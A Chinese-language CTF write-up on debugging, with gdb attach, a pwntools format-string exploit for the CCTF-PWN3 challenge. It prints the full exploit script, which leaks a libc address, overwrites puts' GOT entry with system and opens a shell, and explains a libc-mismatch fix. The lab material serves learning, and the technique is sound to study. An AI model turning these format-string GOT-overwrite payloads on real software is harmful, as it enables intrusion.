好久不跟,每次图片都要生成链接,emmm………说到底还是懒。还是该坚持。
前言
学pwn之路上的一个必经之路就是debug,前几天看到一个格式化的题目,在安全课上有相关文章(戳我),对就是那个CCTF-PWN3,exp逻辑很简单,跟着bin看一下exp就能明白,但是始终EOF,无法成功getshell,还记得学长跟我们说过的:做pwn题关键就在于跟exp,了解是哪里利用不对。OK,那就学学如何attach。
正文
先贴上自己做这题的exp,具体的利用逻辑可以到上面的那个文章里进行查看:
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn3')
libc = ELF('libc.so.6')
pr = process('./pwn3')
#gdb.attach(pr, 'b *0x804889B')
username = "rxraclhm"
pr.recvuntil("Name (ftp.hacker.server:Rainism):")
pr.sendline(username)
# 1 -> get
# 2 -> put
# 3 -> dir
# other -> exit
def put(pr, name, content):
pr.recvuntil("ftp>")
pr.sendline('put')
pr.recvuntil("upload:")
pr.sendline(name)
pr.recvuntil("content:")
pr.sendline(content)
def get(pr, name, num):
pr.recvuntil("ftp>")
pr.sendline('get')
pr.recvuntil('get:')
pr.sendline(name)
return pr.recvn(num)
def dir(pr):
pr.recvuntil("ftp>")
pr.sendline('dir')
plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)
# /bin/sh
pause()
put(pr, '/sh', '%8$s' + p32(got_puts))
text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
def foo(name, address, num):
num = num & 0xff
if num == 0 : num == 0x100
payload = '%' + str(num) + 'c%10$hhn'
payload = payload.ljust(12, 'A')
put(pr, name, payload + p32(address))
get(pr, name, 0)
foo('n', got_puts, system_addr)
foo('i', got_puts+1, (system_addr>>8)+6)
foo('b', got_puts+2, system_addr>>16)
foo('/', got_puts+3, system_addr>>24)
#put(pr, '/sh', '%8$s' + p32(got_puts))
text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
# system("/bin/sh")
dir(pr)
pr.interactive()
我们直接本地执行是无法getshell的
那么到底什么地方出了问题呢,有了利用逻辑,可以根据自己的逻辑一个一个的排查:
- 泄漏的system地址错误?
这个题目第一步就是利用格式化字符串泄漏puts的真实地址然后根据libc的偏移计算出system的地址。那么会不会是libc出了错误呢?
attach是时候表示一下了,这里其实可以直接在exp里调用attach,这里为了看的清楚,手动attach。在泄露位置下断点,然后在gdb中attach相关pid启动调试
然后在gdb中需要在一个地方下断点使得程序进入相关位置进行观察,然后c到相关位置(这里需要在左边的DEBUG终端内触发一下才可以继续。)
然后在gdb中把puts地址打印出来,和泄漏的进行对比。嗯,这个可能排除。
- 覆写出了问题?
泄漏出来地址之后就是构思如何执行system(/bin/sh)
看到dir函数里有一个puts函数,我们进行利用格式化字符把puts的地址进行覆写,在执行puts(/bin/sh),就变成了system(/bin/sh)
这里会不会是覆写出了问题呢?可以看一看。直接在puts的调用地方下断点。
直接c到相关位置:
可以看出来,参数/bin/sh已经成功写入,那么与puts绑定的got有没有成功改写呢?继续跟。s进入puts
下图可以看出我们覆写的是没有问题的。额。。的确puts的got被我们改成了我们计算出来的system的地址了。
- libc不匹配
那就奇怪了,为什么没有成功getshell呢?下图给你答案,libc不匹配,通过提供的libc的offset计算的system地址是不正确的。
这里我们看到c3和c9相差了6,那么我们将覆写system地址对应位置加上6即可覆写成功,即(foo(‘i’, got_puts+1, (system_addr>>8)+6))或者是去找到对应的libc直接跑exp即可getshell。
总结
我曾请教过一个大佬,如何学习pwn,他给我的意见就是到XCTF社区把那些热门题目跟exp多熟悉即可。的确,用好资源,重在积累。